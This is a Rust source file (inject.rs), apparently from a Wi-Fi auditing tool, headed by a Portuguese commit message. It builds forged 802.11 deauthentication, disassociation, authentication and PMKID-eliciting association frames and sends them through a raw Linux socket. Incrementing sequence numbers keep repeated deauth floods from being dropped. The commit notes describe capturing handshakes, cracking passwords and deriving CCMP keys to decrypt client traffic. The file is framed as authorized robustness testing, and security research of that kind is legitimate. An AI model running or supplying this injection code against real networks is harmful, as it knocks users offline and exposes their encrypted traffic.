- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são big-endian (802.1X segue ordem de rede), então handshakes reais nunca fechavam mesmo com deauth funcionando. testutil.rs e os geradores de quadro de teste corrigidos junto, mais um teste contra bytes de wire reais (não só contra o próprio encoder). - inject.rs: deauth/disassoc agora grava Sequence Control crescente por quadro — reenviar o mesmo quadro era descartado como duplicata pelo driver/AP depois do primeiro envio. - dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda, padrão PHY, privacidade) e histórico de sinal/eventos por cliente. - handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é quebrada, o suficiente pra decifrar o tráfego em claro do par (BSSID, estação) cujo handshake foi capturado.
306 lines
9.8 KiB
Rust
306 lines
9.8 KiB
Rust
//! Construção e envio de quadros de gerenciamento (desautenticação e
|
||
//! desassociação) para testes autorizados de robustez de redes Wi-Fi.
|
||
//!
|
||
//! A construção do quadro é independente de plataforma e testável; o envio
|
||
//! usa `AF_PACKET` e só existe no Linux. O chamador (engine) impõe limites de
|
||
//! quantidade e intervalo e registra a ação na trilha de auditoria.
|
||
|
||
#[cfg(target_os = "linux")]
|
||
use crate::error::{Result, SabiaError};
|
||
|
||
pub const BROADCAST: [u8; 6] = [0xff; 6];
|
||
|
||
/// Cabeçalho radiotap mínimo (8 bytes, sem campos). É aceito por mac80211 e
|
||
/// deixa o driver escolher a taxa; suficiente para quadros de gerenciamento.
|
||
fn radiotap_min() -> [u8; 8] {
|
||
[0, 0, 8, 0, 0, 0, 0, 0]
|
||
}
|
||
|
||
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
|
||
}
|
||
|
||
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
|
||
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
|
||
/// usado no teste bidirecional de PMF.
|
||
fn mgmt_frame_from(
|
||
subtype: u8,
|
||
transmitter: [u8; 6],
|
||
bssid: [u8; 6],
|
||
destination: [u8; 6],
|
||
reason: u16,
|
||
) -> Vec<u8> {
|
||
let fc: u16 = (subtype as u16) << 4;
|
||
let mut f = Vec::with_capacity(8 + 24 + 2);
|
||
f.extend_from_slice(&radiotap_min());
|
||
f.extend_from_slice(&fc.to_le_bytes());
|
||
f.extend_from_slice(&0u16.to_le_bytes());
|
||
f.extend_from_slice(&destination); // addr1: destino
|
||
f.extend_from_slice(&transmitter); // addr2: transmissor
|
||
f.extend_from_slice(&bssid); // addr3: BSSID
|
||
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
||
f.extend_from_slice(&reason.to_le_bytes());
|
||
f
|
||
}
|
||
|
||
/// Quadro de desautenticação (subtipo 12). `destination` pode ser uma
|
||
/// estação específica ou [`BROADCAST`].
|
||
pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||
mgmt_frame(12, bssid, destination, reason)
|
||
}
|
||
|
||
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
|
||
pub fn deauth_frame_from(
|
||
transmitter: [u8; 6],
|
||
bssid: [u8; 6],
|
||
destination: [u8; 6],
|
||
reason: u16,
|
||
) -> Vec<u8> {
|
||
mgmt_frame_from(12, transmitter, bssid, destination, reason)
|
||
}
|
||
|
||
/// Desassociação forjada com transmissor arbitrário (STA→AP).
|
||
pub fn disassoc_frame_from(
|
||
transmitter: [u8; 6],
|
||
bssid: [u8; 6],
|
||
destination: [u8; 6],
|
||
reason: u16,
|
||
) -> Vec<u8> {
|
||
mgmt_frame_from(10, transmitter, bssid, destination, reason)
|
||
}
|
||
|
||
/// Quadro de desassociação (subtipo 10).
|
||
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||
mgmt_frame(10, bssid, destination, reason)
|
||
}
|
||
|
||
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
|
||
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
|
||
const SEQ_CTRL_OFFSET: usize = 30;
|
||
|
||
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
|
||
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
|
||
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
|
||
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
|
||
pub fn set_seq(frame: &mut [u8], seq: u16) {
|
||
if frame.len() < SEQ_CTRL_OFFSET + 2 {
|
||
return;
|
||
}
|
||
let field = (seq & 0x0fff) << 4;
|
||
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
|
||
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
|
||
}
|
||
|
||
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
|
||
let mut out = Vec::with_capacity(2 + value.len());
|
||
out.push(tag);
|
||
out.push(value.len() as u8);
|
||
out.extend_from_slice(value);
|
||
out
|
||
}
|
||
|
||
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
|
||
/// request no teste de PMKID.
|
||
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
|
||
let mut f = Vec::with_capacity(8 + 24 + 6);
|
||
f.extend_from_slice(&radiotap_min());
|
||
f.extend_from_slice(&0x00b0u16.to_le_bytes());
|
||
f.extend_from_slice(&0u16.to_le_bytes());
|
||
f.extend_from_slice(&bssid);
|
||
f.extend_from_slice(&station);
|
||
f.extend_from_slice(&bssid);
|
||
f.extend_from_slice(&[0u8; 2]);
|
||
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
|
||
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
|
||
f.extend_from_slice(&0u16.to_le_bytes()); // status
|
||
f
|
||
}
|
||
|
||
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
|
||
let mut val = Vec::new();
|
||
val.extend_from_slice(&1u16.to_le_bytes());
|
||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
|
||
val.extend_from_slice(&1u16.to_le_bytes());
|
||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
|
||
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
|
||
for akm in akms {
|
||
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
|
||
}
|
||
let mut caps = 0u16;
|
||
if pmf {
|
||
caps |= 0x0080;
|
||
}
|
||
if pmf_required {
|
||
caps |= 0x0040;
|
||
}
|
||
val.extend_from_slice(&caps.to_le_bytes());
|
||
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
|
||
val.extend_from_slice(pmkid);
|
||
ie(48, &val)
|
||
}
|
||
|
||
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
|
||
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
|
||
pub fn assoc_request_frame(
|
||
bssid: [u8; 6],
|
||
station: [u8; 6],
|
||
ssid: &str,
|
||
akms: &[u8],
|
||
pmf: bool,
|
||
pmf_required: bool,
|
||
pmkid: [u8; 16],
|
||
) -> Vec<u8> {
|
||
let mut body = Vec::new();
|
||
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
|
||
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
|
||
body.extend_from_slice(&ie(0, ssid.as_bytes()));
|
||
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
|
||
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
|
||
if !akms.is_empty() {
|
||
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
|
||
}
|
||
|
||
let mut f = Vec::with_capacity(8 + 24 + body.len());
|
||
f.extend_from_slice(&radiotap_min());
|
||
f.extend_from_slice(&0x0000u16.to_le_bytes());
|
||
f.extend_from_slice(&0u16.to_le_bytes());
|
||
f.extend_from_slice(&bssid);
|
||
f.extend_from_slice(&station);
|
||
f.extend_from_slice(&bssid);
|
||
f.extend_from_slice(&[0u8; 2]);
|
||
f.extend_from_slice(&body);
|
||
f
|
||
}
|
||
|
||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||
pub enum Reason {
|
||
Unspecified = 1,
|
||
PreviousAuthInvalid = 2,
|
||
DeauthLeaving = 3,
|
||
Inactivity = 4,
|
||
Class2FrameFromNonAuth = 7,
|
||
}
|
||
|
||
impl Reason {
|
||
pub fn from_u16(value: u16) -> u16 {
|
||
if value == 0 {
|
||
1
|
||
} else {
|
||
value
|
||
}
|
||
}
|
||
}
|
||
|
||
#[cfg(target_os = "linux")]
|
||
pub struct RawInjector {
|
||
fd: std::os::fd::RawFd,
|
||
}
|
||
|
||
#[cfg(target_os = "linux")]
|
||
impl RawInjector {
|
||
pub fn open(iface: &str) -> Result<Self> {
|
||
use std::ffi::CString;
|
||
use std::io;
|
||
use std::mem;
|
||
|
||
let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, 0x0003) };
|
||
if fd < 0 {
|
||
let err = io::Error::last_os_error();
|
||
return Err(if err.raw_os_error() == Some(libc::EPERM) {
|
||
SabiaError::PermissionDenied
|
||
} else {
|
||
SabiaError::Io(err)
|
||
});
|
||
}
|
||
let cname =
|
||
CString::new(iface).map_err(|_| SabiaError::InterfaceNotFound(iface.to_string()))?;
|
||
let ifindex = unsafe { libc::if_nametoindex(cname.as_ptr()) };
|
||
if ifindex == 0 {
|
||
unsafe { libc::close(fd) };
|
||
return Err(SabiaError::InterfaceNotFound(iface.to_string()));
|
||
}
|
||
let mut sll: libc::sockaddr_ll = unsafe { mem::zeroed() };
|
||
sll.sll_family = libc::AF_PACKET as u16;
|
||
sll.sll_protocol = 0x0003u16.to_be();
|
||
sll.sll_ifindex = ifindex as i32;
|
||
let ret = unsafe {
|
||
libc::bind(
|
||
fd,
|
||
&sll as *const libc::sockaddr_ll as *const libc::sockaddr,
|
||
mem::size_of::<libc::sockaddr_ll>() as u32,
|
||
)
|
||
};
|
||
if ret < 0 {
|
||
let err = io::Error::last_os_error();
|
||
unsafe { libc::close(fd) };
|
||
return Err(SabiaError::Io(err));
|
||
}
|
||
Ok(Self { fd })
|
||
}
|
||
|
||
pub fn send(&self, frame: &[u8]) -> Result<usize> {
|
||
let n = unsafe {
|
||
libc::send(
|
||
self.fd,
|
||
frame.as_ptr() as *const libc::c_void,
|
||
frame.len(),
|
||
0,
|
||
)
|
||
};
|
||
if n < 0 {
|
||
return Err(SabiaError::Io(std::io::Error::last_os_error()));
|
||
}
|
||
Ok(n as usize)
|
||
}
|
||
}
|
||
|
||
#[cfg(target_os = "linux")]
|
||
impl Drop for RawInjector {
|
||
fn drop(&mut self) {
|
||
unsafe { libc::close(self.fd) };
|
||
}
|
||
}
|
||
|
||
#[cfg(test)]
|
||
mod tests {
|
||
use super::*;
|
||
|
||
fn bssid() -> [u8; 6] {
|
||
[0x00, 0x11, 0x22, 0x33, 0x44, 0x55]
|
||
}
|
||
|
||
fn station() -> [u8; 6] {
|
||
[0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb]
|
||
}
|
||
|
||
#[test]
|
||
fn builds_deauth_frame() {
|
||
let f = deauth_frame(bssid(), station(), 7);
|
||
assert_eq!(&f[0..4], &[0, 0, 8, 0]);
|
||
assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00c0);
|
||
assert_eq!(&f[12..18], &station());
|
||
assert_eq!(&f[18..24], &bssid());
|
||
assert_eq!(&f[24..30], &bssid());
|
||
assert_eq!(u16::from_le_bytes([f[32], f[33]]), 7);
|
||
}
|
||
|
||
#[test]
|
||
fn builds_disassoc_broadcast_frame() {
|
||
let f = disassoc_frame(bssid(), BROADCAST, 1);
|
||
assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00a0);
|
||
assert_eq!(&f[12..18], &BROADCAST);
|
||
assert_eq!(f.len(), 8 + 24 + 2);
|
||
}
|
||
|
||
#[test]
|
||
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
|
||
let mut f = deauth_frame(bssid(), station(), 7);
|
||
set_seq(&mut f, 1);
|
||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||
assert_eq!(seq_ctrl, 1 << 4);
|
||
set_seq(&mut f, 0x0fff);
|
||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||
assert_eq!(seq_ctrl, 0x0fff << 4);
|
||
}
|
||
}
|